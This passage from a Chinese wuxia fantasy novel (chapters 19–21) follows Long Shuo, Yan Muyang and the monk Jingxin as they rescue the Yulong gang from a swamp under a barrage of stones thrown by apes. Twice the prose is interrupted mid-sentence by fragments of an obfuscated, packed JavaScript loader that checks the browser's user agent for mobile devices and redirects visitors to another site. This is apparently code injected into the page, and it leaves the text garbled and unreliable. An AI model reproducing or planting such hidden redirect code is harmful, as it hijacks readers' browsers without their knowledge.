“嘿,你这小猴,馋嘴又好色,贪生怕死还不讲信义,真真是该打!”,龙烁说着便又想抡起拳头去揍他。 吵闹之声惊醒了燕沐阳和净心,净心赶忙上前劝说道:“龙大哥,它怎么又惹你生气了?” 龙烁怒道:“我让它给咱们盯梢,它却跑去摘桃儿!” “噢!”,净心点了点头道:“哎,算了,龙大哥,反正咱们也没事,你就别责怪它了!” 龙烁强压怒火,定了定神,收起拳头愤愤道:“哼,咱们走——” “去哪?”净心问道。 “去找讹兽!” 19. 举父投石 三人刚欲动身,却听西边隐隐传来一个中年男子撕心裂肺的喊叫声。 龙烁猛地站起,朝着声音传来的方向张望,然而远处漆黑一片什么也看不清楚,只依稀辨别出那人似是在喊“救命”。 “是谁在喊救命?”,龙烁惊道。 “哎呀,管他呢——” 小狌狌暗觉此时已是二更天,再晚点就没办法帮几人寻找白泽了,它使劲一拉龙烁却拉他不动,劝道:“刚才那女子求助的声音一传来便生出这许多事端,难道你们还没长教训吗?若不赶紧去找我的朋友,到时候找不到白泽可别怪我哦!” 忽然间,西面一阵骚动,一个身穿布衣,戴着头巾,全身肌肉虬结,浑身脏兮兮的中年男子从草丛中冲出来摔倒在地。 这男子似是跑了很远的路,他上气不接下气地喊道:“救——救命啊!” 龙烁跑过去将他扶起,见他手中拿着一根拐杖似的粗木棍,身上倒也没有什么刀剑的伤痕,只是腰部以下沾满了黑色的泥土,疑惑地问道:“这位大哥,出什么事了?” 那中年男子定睛一看,发现龙烁是个不过二十岁的年轻人,虽然长得挺拔俊俏,身子却不够孔武有力,那白衣公子身材瘦削颀长更显柔弱,而那个十五六岁的小和尚长着一副不谙世事的少年模样,认为几人不过是来万兽山打猎玩耍的孩子,于是越发愁眉苦脸,急切地问道:“几位少侠,你们在附近可曾见过一些长得孔武有力的人吗?” 龙烁不知他为何有此一问,暗想自己虽然长得孔武,却称不上十分有力,沐阳公子虽然长得不够孔武,却十分有力,净心虽然长得既不孔武也不有力,但伏魔棍耍起来的时候也十分威武霸气,而这男子只求长得孔武有力之人,不知他到底是何用意,于是他摇了摇头。 那中年汉子失落万分,喃喃道:“这可糟了,这可糟了,这是天要灭我玉龙帮啊!” 此时正值初秋,夜间天气寒冷,那中年汉子竟急得出了满头的大汗。 三人见这个肌肉虬结的中年汉子满面愁容,实在好奇究竟发生了什么天大的事。 “玉龙帮?”,净心奇道:“难道是云南玉龙雪山天水寨的玉龙帮?” “啊,是是,小师傅竟知道我们玉龙帮?” “啊,我听我师父说起过——”,净心道:“您为何说天要灭你玉龙帮?” 这中年男子瞧了瞧这几个年轻人,长叹一口气,说道:“是这样,我们一路寻找白泽到此,哪知前面竟遇上一片沼泽地,这沼泽地表面看来与普通道路无异,如果我们一直疾行快走或许能够横穿而过,可是我们张帮主觉察到脚下泥土有异便停了下来,这一停可就坏了,我们帮主和三十几名帮众都深陷泥潭之中不能自拔,我走在最后面比较幸运,在沼泽地的边缘拽着旁边的杂草爬了上来,可是我们帮主和其他三十几名兄弟都被困住了——” 他抹去头上豆大的汗珠继续道:“我想着用木棍拽他们出来却是不行,更奇怪的是每隔一会儿便有一块巴掌大小的怪石从天而降,这怪石专冲大家的头部掉落,我们已有七八名弟兄被砸死了!我赶忙跑来搬救兵,跑了许久,见此地有火光,以为是什么帮众在此处休息,却没想到是你们几个少年在这里玩耍!哎,看来我玉龙帮气数已尽,帮主和众位兄弟就算不被溺死,也要被那些怪石砸死了——” “噢,这有什么难的!”,龙烁道:“我们去帮你把他们救出来!” 那男子苦笑道:“在下名叫关武,你们看我身形彪悍力大如牛,曾经三拳打死一头猛虎,费了半天的力连一人都救不出来,主要是距离太远,纵使能拽到他们也使不上力,只凭你们几个少年恐怕,恐怕——” 他本想着说恐怕去了也帮不了什么忙,却又觉得这几名少年好意相助,心中感激,不想冒犯他们,便不再继续往下说,只一个劲儿地东张西望,希望有其他人在此出现。 “啊,原来是关大哥!”,龙烁拱手道:“你别看了,我们从东边过来,走了半个时辰,一路上人没见着一个,猛兽却是遇到了不少!你从西边过来既然没有遇到别人,我觉得此地方圆十里应该不会再有人了!” “哎,天意,天意啊!” 龙烁指着燕沐阳说道:“关大哥,人不可貌相,你别看我们沐阳公子长得消瘦,他的力量可比我大得多呢,他把你们从沼泽地中拔出来就跟拔萝卜一样,简单得很!” “啊!” 关武仔细看看燕沐阳,见他神情冷峻气势威严,确实不似一般的寻常百姓,于是脸现喜色道:“若是这样,那就拜请几位少侠帮帮忙了——”,他说着便单膝跪地要给几人磕头。 龙烁赶忙拦住他道:“关大哥不必如此客气,请你带路!” 关武带着三人向西行去。 小狌狌哼了一声说道:“我说什么来着,姓龙的小子记吃不记打,竟然如此愚笨——” 龙烁一回头,见那小狌狌双手叉腰立在原地不动,问道:“你说什么?” “我说你笨啊,别人的几句话就能引你上钩,鱼都没有你好钓啊!万兽山本就如此,强者生存,弱者死亡,今天你们来了那么多人,光我见到的就有几十人被猛兽吃掉啦,莫非所有人遇到危险你都要去救?”,小狌狌讽刺道:“实话给你说吧,那怪石不是从天上掉下来的,是举父从极远的地方投射过来的——” “举父?”,龙烁问道:“那是什么?” “哎呀,就是一种猴子,我们是一个老祖宗,不过它们长得略小,你别看它们长得小,力气可大呢,它们很善于投掷,百丈之外击中猎物那是轻而易举,虎豹豺狼都畏惧它们呢——” 龙烁道:“如果是这样,咱们更要去救他们了啊!” “我看你龙小子的武功比白衣天君差太远啦,若不是有他从旁相助,像你这样的人在万兽山里早都死了好几回啦,你却明知山有虎偏向虎山行,哎,真是自不量力啊!” 龙烁听到小狌狌的冷嘲热讽又想发火,然而他感受那讹兽骗人之术的威力后,又觉得这小狌狌虽然说话难听,却是忠言逆耳,他兀自强压怒火道:“我自己武功如何当然心里有数,不过有沐阳公子在这里我还怕什么呢,再说即使他不在,遇到这种事情咱们也不能坐视不管啊——” 他见燕沐阳紧紧跟在自己身后,而净心却仍站在篝火旁边犹豫不决,便问道:“净心,你觉得呢?” “龙大哥,我觉得先找到白泽更为要紧!” 龙烁大惑不解道:“你们佛家不是说救人一命胜造七级浮屠吗?何况这是三十几条人命呐,难道你不觉得该救?” “救是该救的,但是尽快找到白泽更是当务之急,倘若它先被恶人抓住,那可就糟了!” “净心,白泽倘若被别人抓到,咱们还可以把它夺回来!眼下我们若是不去救那三十多人,他们必定会死的!” 龙烁见净心仍在思索,转身问燕沐阳道:“沐阳公子,你觉得呢?” 燕沐阳思索片刻,说道:“我来万兽山的目的,一是找人,二是护你,其他之事,我并不在意,你去哪,我随你便是!” “噢!” 龙烁暗想沐阳公子的内心其实是深明大义的,但是不知为何他总是不想插手江湖之事,于是说道:“人各有志,我们是一定要去救人的,净心,你和飞飞先去寻找白泽,我们救下他们后就来找你们——” “龙大哥——” “净心小师傅——” 净心还想规劝,却被关武打断。 关武见他手握齐眉棍,知他会武艺,对他不敢小觑,拱手说道:“我们也是为寻找白泽而来,待我们兄弟脱险后,咱们大可一起去抓捕白泽。据我所知,那白泽乃是瑞兽,只有圣人出现它才会出来,这也是为什么一般人找不到它的原因。我们张帮主心怀坦荡,义薄云天,雄才伟略,文武双全,颇有王者风范,只有他才能引那白泽出来相见——” “啊!”,龙烁奇道:“我曾在书中读到过关于白泽的故事,史料记载说它‘通人情,知鬼神,能言语,王者有德,明照幽远则至’,莫非天下真有此奇事?” 净心微一沉思,说道:“我竟不知有此说法,既是这样,龙大哥,我就先随你们去救人!” “好!” 三人跟着关武向西奔去。 小狌狌跟在后面埋怨道:“哎呀,怎么又一个上钩啦,那些猴子可不是好对付哒——” 几人奔行近十里路,远远地听到前面草丛中传来一片凄惨哀嚎之声。 待到喊声越来越近时,关武突然拦住他们道:“大家小心,这里开始便是沼泽地的边缘了!” 龙烁举起火把抬头眺望,这里的土地一片平坦开阔,前面的沼泽地看起来与他们现在所踩之处无区别,只是里面没有杂草而是长了许多芦苇。 那些芦苇虽不浓密却很高很长,透过芦苇的缝隙隐约可以看到七八丈外有一群正在挣扎蠕动的黑影。 由于光线不足,那些人身上头上又溅满了泥土,根本看不清各人的样貌。 这些人的手臂不住地扑棱,胸膛以下几乎都已被淹没,还有十几个黑色人影耷拉着脑袋已然死去,那些死去的人静止不动反而陷得浅一些。 关武放声喊道:“张帮主——你还好吗?” 一个粗犷的声音回应道:“是关兄弟吗?” 从声音传来的方向望去,龙烁判断离他们最远的那人便是张帮主。 “是的,是我,张帮主,您在哪里?我叫来了援手,先救帮主您出来——” “不,先救傅兄弟,他已经快完全陷进去啦——” 龙烁暗觉这张帮主的确仁义,于是小心翼翼地试探着往前走动。他感觉越往前走脚下的泥土越软,待到实在不能往前走时,仍离众人有六七丈远。 他朗声说道:“张帮主,众位玉龙帮的英雄,这沼泽地实是考验各人的心理素质,你们越是挣扎就会陷得越快,请大家尽量将身子躺平,手臂张开浮在表面,然后暂时不要动,我们想办法救你们出来——” 众人听到一个年轻男子的声音从东面传来,又听他语气坚定似有解救众人之法,都感觉看到了希望,立即停止了喊叫和哀嚎。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231116|197615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >大家依着龙烁的指点尽量增加受力面,然后停住不动,果然身子下陷的速度慢了许多。 “敢问这位少侠如何称呼?”,那张帮主喊道。 “在下龙烁,我身旁的这两位是沐阳公子和净心师傅,请问张帮主,你所说的傅兄弟现在何处?” “我——” 一个清脆的声音叫道:“我在这里!” 龙烁从他的声音判断出这人不过二十多岁,他的位置在张帮主前面两三丈处,离岸边倒是近了一些。 这人的身子几乎已经完全被淹没,只仰着脖子露出鼻子和嘴巴。他一挥动胳膊,鼻子和嘴巴便一齐陷进沼泽之中,他连忙将胳膊平放,鼻子和嘴巴才又浮现出来。 龙烁见他生命危在旦夕,立时寻找竹子或粗树干,可是周围除了杂草和芦苇再无其他。 他脱下青袍外衣朝燕沐阳道:“沐阳公子,情况危急,借你的外衣一用,回头我帮你洗!” 净心知他是想以长袍做成捆绳拉那人上来,迅速脱掉僧袍递了过来。 燕沐阳没有脱衣服,而是走向沼泽地道:“我先试试!” 只见燕沐阳纵身一跃,蜻蜓点水般地飞到那傅兄弟头顶上方,随即催动寒冰术,在那人身旁化出一块长方形的冰片浮在沼泽地上。 燕沐阳轻轻落下,竟然稳稳地站在了冰面之上。 众人见他使出如此神奇的术法,均发出钦佩赞叹之声。 燕沐阳单膝跪下,伸手去拉那傅兄弟,竟是一拉不动,暗想这泥潭的陷力果然非同凡响。 他又伸出两只手分别拉住那傅兄弟的左肩和右臂用力一拽,那傅兄弟只是向上挪动了一点,露出了下巴和脖子。 然而,冰片受力过重,竟然慢慢地陷入了沼泽之中。 燕沐阳再次催动寒冰术,在那傅兄弟身旁又幻化出一块冰片。如此反复四五次,终于将那傅兄弟拉出了泥潭。 二人飞身回到沼泽岸边,众人高声叫好之际,忽听张帮主右首的那人一声惨叫。 龙烁猛一转身,见那人额头血流如注,挣扎了几下便即死去,又因扭动地太过剧烈,他整个身子逐渐下陷,快速淹没在了沼泽之中。 “雷兄弟,雷兄弟——”,张帮主喊道:“大家注意飞石的袭击,切勿被击中!” “这怪石从哪个方位袭来,有人看到了吗?”,龙烁问道。 众人都非常惊恐,没人应答。 忽听空中一声长啸,张帮主左侧的一人也被击中了头部,随着一声惨叫,那人面颊喷出一道鲜红的血柱,随即扭动几下也死去了。 龙烁心下骇然,暗想这飞石速度奇快,若是这块石头冲我头顶砸来,恐怕也是难逃一死。 “大家小心,怪石来得越来越快了——”,张帮主喊道。 龙烁感觉这样下去不等沐阳公子把众人救上来,大伙便都被砸死了,他见燕沐阳此时略显疲惫,忧心道:“这样不行,我们在明,那些举父在暗,我们得想办法尽快救大家上来!” 净心微一思索,双手聚拢在胸前念了个咒,使出矩纸穿行术法。 一瞬间,沼泽中所有人身旁均出现了一张透明的矩纸穿行洞口。 微风拂过,那些洞口的内侧便如水一般涌动起来。 “沐阳公子!”,净心说道:“我轻功不好,请你带我过去救人——” 龙烁大喜道:“把我也带上,人多力量大!” “还有我——”,那傅兄弟道。 燕沐阳微一点头,携着龙烁和净心两人纵身一跃,飞进沼泽之中,未及落下便将他们分别推送到了其中两张矩纸洞口之中。 二人穿过洞口落入另一个空间,随即探出身子去拉那沼泽中的人。 燕沐阳脚尖轻点泥潭,又折回岸边去拉那傅兄弟。 如此一来,四人分别施救,他们每拉出一人,燕沐阳便将那人推送到另一个矩纸洞口中去救其他人,这样施救的速度便快了许多。 众人一边躲避怪石的袭击,一边抓紧时间救人,不一会儿功夫便有十几人被拉上了岸。 此时潭中包括张帮主在内只剩下了五个人。 燕沐阳将身强力壮的五个人留下继续施救,龙烁、净心和其他人都被他携着飞到了沼泽岸边。 远处那些猴子似是发现了这边的情况,砸过来的石头越来越多,那些玉龙帮的人左躲右闪地大呼救命。 燕沐阳集中精力催动寒冰术,竟然只用余光和耳朵便将周围的情况了然于胸,他在救人的同时不断发出冰刀冰箭抵御飞石,在石头砸到众人的头部之前便成功将其拦截击碎。 碎石如屑,纷纷落入沼泽之中不见了踪影,粉末如烟,将周围笼罩得如同仙境一般如梦似幻。 一人惊叫道:“这是天神吗?是天神来救我们了吗?” 龙烁心中更是无比钦佩,他嘴角微勾,说道:“没错,这回不是天要灭你们玉龙帮了,而是天神下凡来助你们玉龙帮脱险来啦!” 最后的五人被救上岸后,那些怪石也停止了袭击。 众人一阵欢呼沸腾。 20. 满月流星 张帮主抱拳道:“几位少侠,今日我们得以脱险,全凭你们相救,我张全亮感恩戴德,他日若有用得到在下的地方,我一定赴汤蹈火在所不惜!” 张全亮一一给龙烁三人引荐帮中兄弟,原来那名年轻的傅兄弟名叫傅梁。 众人见帮主拜谢纷纷跟随,说道:“多谢天神下凡相救”,“多谢小师傅施法相助”,“多谢少侠救命之恩” 净心连连摆手道:“你们不必客气——不必客气——” 龙烁道:“张帮主,各位英雄言重了,我们不过是略尽绵薄之力,沐阳公子却是帮了大忙!” 龙烁看向燕沐阳,他此时正在整理衣襟,并不理会。 小狌狌飞飞一直躲在暗处观察,见众人都上了岸,跳将出来说道:“你们别高兴的太早,听到那猴子的叫声了没?那是它们在召唤援兵呐,咱们赶快逃命吧——” 龙烁仔细一听,果然有猿猴啼叫之声从西面的山谷中传来。 那声音极其微弱,听起来至少有七八里地之遥,不禁暗暗心惊,心想那些猴子竟然能在如此远的距离之外便可将石头击中各人的头部,其投射之精准,力道之巨大,实在令人叹服! 关武朗声笑道:“它们此时召唤援兵为时已晚,帮主和众位兄弟都已经上岸,咱们还怕它们作甚?” “哎呀,真的是大言不惭啊!”,小狌狌嘲讽道:“我可已经提醒你们啦,现在恐怕已经来不及了,我可也没必要陪你们送死,我走啦,你们自求多福吧!” 它说着飞快地往东逃窜。 龙烁喊道:“飞飞你别走,你说这话什么意思?” 那小狌狌不再回答,一下子蹿出了二里地远,被燕沐阳的寒冰锥挡住去路后才转过身来说道:“什么什么意思?我说的不是人话吗?听不懂吗?” “不是,什么来不及了,什么都得死?” “要下雨啦,你们没时间逃跑啦——” “下雨有什么好怕的?”,净心问道。 “是石头雨呀,来啦来啦——” 小狌狌惊恐地指向众人身后,旋即飞快地蹿到寒冰锥的顶部纵身一跃,跳出了两丈地远,一瞬间便逃得无影无踪了。 众人回头看去,远处仍是黑漆漆地什么也看不清,却听一阵轰鸣之声隆隆响起,龙烁顿时明白了那是无数石块从空中划过的声音,他连忙喊道:“净心——” 他本想着让净心尽快施展矩纸穿行术带大家逃离此地,然而已经来不及了。 此时漫天的飞石遮天蔽月,目光所及之处尽是密密麻麻的石块,它们如同暴雨般朝众人面门袭来。 龙烁见玉龙帮的人们兀自从身后抽出板斧护住面门,心想这恐怕无济于事,他下意识地举手挡隔,暗觉恐怕这次所有人都在劫难逃。 石雨砸来的一瞬间,龙烁脑海中闪过无数念头。 他全没想到今日或将毙命于此,更没想到这块荒无人烟的沼泽便是自己的葬身之地,他遗憾自己还没有报答父亲的养育之恩便要与世长辞,遗憾自己还没有闯出名堂便空来这人世走了一遭,遗憾自己还没有娶妻生子便要背上不肖有三无后为大的骂名! 他心想:“这些遗憾我姑且还能接受,关键的关键是我他奶奶的还有点怕死啊,这么多的石头砸到身上,那得多疼啊?” 他无奈侧过头去,闭上眼准备迎接死神的到来。 一片哀嚎声中,龙烁听到无数碎石噼里啪啦的撞击之声如放鞭炮。 巨响震得耳膜生生发痛,他心道:“现下不知哪位英雄已被砸死了,怎么自己身上却全无痛感,莫非我已经死了,有这么快吗?” 龙烁微微睁开眼睛,发现众人正错愕不已地看向背后。 他猛一回头,却见燕沐阳正在全力抵御飞石。他左手置于胸前不住催动寒冰术,右臂高举,掌心向上,竟然在众人头顶化出了一块厚厚的冰层,顶住了巨石的袭击。 这冰层中间厚两边薄,如同雨伞一样将所有人护在了下面。 掉落的石块重重击打到冰面上后顺势滑落,在四周形成了绵绵不绝的石雨幕帘。 这壮观的景象众人都看得呆了。 只龙烁发现燕沐阳眉头紧皱,正在承受着巨大的压力。 冰层在无数石块的重击之下逐渐出现裂纹,龙烁连忙喊道:“净心,快——” “噢噢——” 净心迅速施展矩纸穿行术,他伸手一拉,在龙烁前方一丈处撕开一个长方形的口子,大喊道:“快,大家快进去——” 众人陆续进入洞口之后,龙烁发现这里正是几人刚才去过的那个小山坳,篝火仍在燃烧,周围一片明亮。 龙烁探出头来朝燕沐阳喊道:“沐阳公子,快进来啊——” 正在这时,燕沐阳头顶的冰层突然崩裂,雨石冰块被震地四散飞出,紧接着又有无数飞石迅速掉落直冲燕沐阳的头顶砸来。 龙烁大吼一声猛地蹿出,直向燕沐阳奔去。 净心窜出洞口本欲上前劝阻,却被乱石砸中胸口吐出一大口鲜血,不得不又退回到洞口之处。 张全亮眼疾手快将净心拉了回去,却见龙烁和燕沐阳二人被乱石轰然压倒在地,很快淹没在了乱石之中。 张全亮大喊着他们的名字却是全无回应,周围除了石块掉落的撞击之声再无其他。 众人一阵惊嚎,但见他二人所在之处的石块越积越厚,石堆越垒越高,慢慢地形成了一座小石山。 净心再也支撑不住,忽地瘫坐到地上,“哇”地一下子哭了出来,口中兀自喊道:“完了——完了——” 片刻之后,正在众人都彷徨无措的时候,忽听一人惊叫道:“你们快看——” 净心定睛一瞧,那座小石山兀自微微颤动,忽听一人大喝一声:“破!” 只听轰隆隆一声巨响,石山瞬间崩裂,碎石漫天飞舞,灰尘骤然四起,状如神仙出山。 众人抢上前去张望,然而周围却是朦胧一片。 待到尘埃落定之后,只见燕沐阳左手捂着胸口缓缓起身,而他的右手正奋力抵在龙烁的腰间为他输送内力。 他嘴角鲜血外溢,口中兀自说道:“龙烁——稳住——” 龙烁双手高举过头,他大喝一声,奋力将落石顶到他二人头顶上方,在那里形成一道隐形的气墙,将石块全部挡隔在了外面。 他全没想到在燕沐阳的内力加持下,自己的锥风术法竟能发挥如此威力,几乎快要达到九品风力,竟比祖辈们还厉害不少,于是兴奋道:“真有你的,沐阳公子,竟然能在千钧一发之际想到这个办法——” “凝神屏气,心无二用!” 龙烁连忙闭上嘴巴,集中精力应对接连袭来的飞石。 此时龙烁已经稳稳地将飞石挡隔在了外面,燕沐阳轻声说道:“你的锥风术法,我曾见过,只需内力充足,威力大过我的寒冰术!” 净心又惊又喜,擦干眼泪喊道:“龙大哥,沐阳公子,原来你们没有死,真是吓死我了!” 龙烁感觉此时体内真气激荡,内力源源不断从掌中发出。他猛一发力,又将头顶的石壁推得高了一些,想着留出足够的空间好在石头砸到他二人之前脱身。 然而,当他将石壁又往上推了一丈高时便再也推不上去,并且只要腿脚稍微挪动一点,内力便突然外泄不能集中。 他看向燕沐阳,发现他口中兀自鲜血直流,暗道:“不好,这样一直顶住坠石太耗沐阳公子的内力,瞧他的样子,估计最多再有一炷香的时间便不能再继续支撑!” 众人见龙烁只要稍一松懈,石壁便快速下降一截,需要用更大的力量才能将其托起,如此一来,内力损耗更快,不禁心中焦急,都替他们捏了一把汗。 净心默念口诀,想将矩纸穿行洞口开得离他二人更近一些,却由于刚才被石头击中胸部元气受损,术法竟然无法使出。 一人催促道:“龙少侠,沐阳公子,你们快点过来,到洞口里面来!” 有人出主意道:“龙少侠你可以带沐阳公子一点一点的往过来挪动,只一丈的距离,应该不成问题!” 有人安慰道:“那群猴子总有累的时候,二位少侠一定要坚持住!” 张全亮喊道:“龙少侠,我过来助你!” 龙烁急道:“不要过来——” 他一说话,内力外泄,石壁又下降了一截。 为了节省内力,他不再继续往上推,将石壁与手掌的距离始终控制在一寸之内。 “帮主——” 关武拦住张全亮道:“帮主,咱们不会法术,内力也远远不及那沐阳公子,过去也无济于事,我们再想想别的办法吧!” 张全亮急得满头大汗,说道:“兄弟们快想,还有什么办法可以尽快救下他们!” 那傅兄弟说道:“帮主,擒贼先擒王,不如我们去偷袭那群猴子?” 一个满面虬髯的中年汉子说道:“傅兄弟说得对,打蛇打七寸,灭火须抽薪,咱们先把那群猴崽子杀了,看它们还怎么扔石头,他妈的——” 此人名叫雷霆。 一个头戴儒巾的中年男子说道:“帮主,我们现在所处之地离他们尚有十里之遥,而那群猴子在沼泽地西边七八里的山谷,这样算下来便有十七八里的距离,况且那群猴子藏身于山谷之中恐怕咱们一时半会儿也难以将它们找到找。倘若净心小师傅能够再次施展矩纸穿行术将我们直接带入到那山谷倒可节约一些时间,只是现下他元气受损,术法施展不出,我们徒步过去少说也需要半个时辰,恐怕二位少侠没办法坚持这许久啊!” 此人名叫严塑。 关武道:“严兄说得对,帮主,咱们须得再想想别的办法!” 张全亮急道:“大家快想,还有什么办法——” 眼看龙烁二人头顶上方的石壁不断下降,离他们的头顶越来越近,众人兀自焦急万分不知所措。 正在大家无计可施之时,龙烁忽然感觉上方的石壁开始慢慢变轻,噼里啪啦的声音变得越来越弱。 不一会儿功夫,“暴雨”变成“小雨”,又过了一会儿,只听到零星的几块碎石掉落的撞击之声。 龙烁四下眺望,却见西首十丈地外的一片草丛之中,有一个蓝衣少年正在弯弓搭箭快速射击。 那少年向后跨出一大步,将弓弦拉得圆如满月,箭头直指天空,宛似要将天上的星星射下来一般。 他每次拉弦,弦上竟都并排摆放八支雕翎羽箭。 他手指动处,弓弦快速弹出。 只听“嗖”的一声巨响,八箭齐发,箭如雨下。 过了一会儿,便听到猿猴悲啼之声从山谷之中传来。 随着最后几块飞石应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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龙烁却是忧心忡忡,他看向燕沐阳,见他此时仍是面无表情看不出他在想什么,暗想:“我和沐阳公子一路到此都是为了找人,却又都一无所获,沐阳公子找不到人直接出山也无不可,可是红叶姑娘却是和我约定好了在此碰面的,现下猎奇之争提前终止,倘若她已随众人出了山那倒还好,倘若她一直寻我不到又不出山,那岂不糟了!” 他朝燕沐阳小声说道:“我还不能出山,我必须尽快找到红叶姑娘!你呢?” 燕沐阳低声道:“同你一起!” 龙烁微微点头,暗想燕沐阳找不到其他会使乱真易容术的人,大概要随我一起找到红叶姑娘,然后再从她那里打听一下是否有他师叔的线索了。 谢灵雨转身说道:“你们沿此路往北走十五里,那里便是万兽山的北门口,我再去看看是否还有其他人尚在山中——” “哦噢——”,龙烁见他孤身一人在山中奔波,大喊道:“谢兄是否需要帮忙?” “不必,你们尽快下山即可——” 话音未落,谢灵雨已经向东面疾奔而去。 片刻之后,龙烁突然想起可以先问问谢灵雨是否遇到过红叶姑娘,然而他此时已经全然不见了踪影。 谢灵雨离去之后,玉龙帮的人开始纷纷议论。对于到底还要不要继续寻找白泽这个问题大家意见不一。 傅梁道:“帮主,此时大部分人都已经出山,没人跟咱们争夺猎物,这会儿正是打猎的好时机,咱们快刀斩乱麻,先去抓住白泽再行出山吧!” 严塑道:“帮主,一群会掷石头的举父都如此厉害,后面更不知还有什么凶猛的野兽,此地不宜久留,我们还是尽快出山吧!” 雷霆道:“怕什么?我们已经打听出那白泽的所在,咱们先捣了它的老窝再说!” 张帮主犹豫不决,暂时没了主意。 龙烁见燕沐阳和净心嘴角尚有未干的血迹,走到二人身旁,从胸口衣袋中取出了一个棕色的小瓷瓶,倒出两颗黑色的药丸分给他二人,说道:“这是我家祖传的疗伤灵药龙胆顺气丸,你们服下后很快便可恢复元气!” “啊,感谢龙大哥!” 净心双手合十,躬身施礼后便将药丸服下。 龙烁正自思索他们应该怎么越过深谷时,却见张全亮走过来说道:“龙少侠,你在做什么?” “啊!没什么——” 张全亮拱手道:“今日我们两次死里逃生,都多亏你们三位少侠的仗义相救,我张全亮感激不尽!” 龙烁道:“张帮主不必客气,我们这次能够脱险,也是多亏谢少庄主及时出现替我们解了围!” “龙少侠不必谦虚,刚才我见你运劲抵御飞石,竟然在头顶化出了一道无形气墙,这等高深的术法在下平生从所未见,真是英雄出少年!” “不是——” 龙烁本想说那全是靠沐阳公子的深厚内力才做到的,却被张全亮打断,只听他道:“不知几位少侠能否好人做到底,送佛送到西?” 龙烁疑问道:“你是说要我们送你们一起出山?” “啊,不是——”,张全亮道:“我是想请你们帮我们一起去抓白泽!” 21.吃人猛兽 “什么?”,龙烁惊讶道:“你们还要去捉白泽?” 张全亮道:“实不相瞒,我们已经打听出了那白泽的所在,能否请几位少侠帮我们一起捉住那白泽再行出山?” 龙烁考虑自己哪还顾得上寻找白泽,当务之急是要尽快找到红叶姑娘。 “你们已经知道了那白泽的所在?”,净心问道。 “不错,我们已经打听到,白泽就住在那群举父所在的山谷之中!这不还未到达便被这片沼泽地拦住了去路——”,关武道:“刚才我们和帮主商议,大伙都认为我们不能功亏一篑,决定先去捉住白泽再行出山,还请龙兄弟、沐阳公子、净心师傅再助我们一臂之力!” 龙烁微一沉思,觉得谢灵雨向东而去,如果他遇到红叶姑娘一定会将她拦下,我须得继续向西面去寻她才是,而那山谷正好在西面,倒是可以与他们同行,多些人也好多些照应。 他看向燕沐阳,见他右手仍捂着胸口,于是说道:“沐阳公子,要不你先——” 龙烁本想着说要不你先下山,等我找到红叶姑娘再和她一起去找你,却见燕沐阳正一脸严肃地凝视着自己,似是在问难道你要我走? 龙烁使个眼色,又点了点头,意思是“你先下山去养伤!” 燕沐阳面色微嗔,眼光扫向别处,意思是说“我不走——” 龙烁捶了捶他捂着胸口的右手,意思是你受伤这么重,还不赶快离开? 燕沐阳垂下手臂,怒目而视,好似在说“没得商量,你若敢说让我下山,我削了你!” 龙烁在燕沐阳犀利目光的震慑下败下阵势,弱弱地道:“那个,要不沐阳公子你再坚持坚持,陪我们走一遭!” 燕沐阳脸色稍缓,微微点头,似是在说“你这么说还差不多!” 龙烁表面唯唯诺诺逢迎一笑,心中却想:“燕沐阳你受这么重的伤还赖着脸皮不走,不但不走,还要我求你留下,你好大的威风啊!” 他转念又想:“你神情严肃,不怒自威,我一跟你对视就立马败下阵来,你也确实挺威风的!” 众人刚行出几步远,却听一个尖锐的声音说道:“呀,真惊讶啊,龙小子竟然没死!” 几人转过身来,却见那只小狌狌蹦蹦跳跳地跑了回来。 龙烁脸色一沉,说道:“你不是逃命去了,怎么又回来了?” “我来给你收尸啊,没想到你们竟然没死!” “呵,你是不是很想我们死?” “你这是哪的话,虽然我不喜欢你,但是毕竟受了你一壶酒一只桃的恩惠,我怕你们死了却没人给你们收尸,所以就回来啦!” “呵,那我还得谢谢你了?”,龙烁轻蔑道:“白泽我们已经知道在哪里了,你赶紧回去找你的媳妇们去吧!” “啊?”,飞飞惊讶道:“你们已经找到我朋友啦?” “没有啊!” “那你们怎么知道白泽在哪?” 傅梁道:“是我们打听到的!” “跟谁打听的?” “我们是跟——” 傅梁话没说完,却被关武抢道:“啊,我们是跟一个朋友打听到的!” “切,骗人!我生在这里长在这里,连我都不知道白泽在哪,你朋友又怎么会知道!整个万兽山只有我朋友知道它在哪——现在山中猛兽都在赶你们下山,我劝你们还是别找了,不然你们都会没命的——” 小狌狌对关武指指点点,意思是你还想骗我吗,我可不是好骗的。 张全亮问道:“山中猛兽为何赶人类下山?” “大家都知道你们此次围猎的目标是白泽啦!”,小狌狌道:“万兽山的守护者向山中的猛兽发出了号令,要大家赶你们走!” “守护者?”,龙烁好奇道:“那是谁?” “就是我们大王!” “噢,你们大王是什么动物?”,雷霆好奇道。 “不知道!” “那它长什么样子?”,严塑问道。 “也不知道!” “你们大王你没见过?”,严塑问道。 “废话,你们皇帝你见过吗?”,小狌狌反驳道。 “哈哈!”,雷霆嘲笑道:“严兄,你这问的不是废话嘛,人家都说了不知道是什么动物了,若是人家知道它们大王长什么样,还能不知道那是什么动物了?” “非也非也!”,严塑道:“知道是什么动物,却未必知道它长什么样子,而知道它长什么样子,也不一定知道它是什么动物,今天咱们在山洞里遇到的那头麒麟兽,雷兄不就误认作是一头怪狮了嘛!” 雷霆挠挠脑袋,觉得他此话倒也有理。 小狌狌见几人继续向西而行,以为它们已经抓住了小贝逼问出了白泽的所在,朝着他们尖声喊道:“喂,你们没把小贝怎么样吧,它现在在哪?” 关武停下来问道:“小贝是谁?” “就是一只又肥又蠢还会骗人的大兔子!”,龙烁怒道。 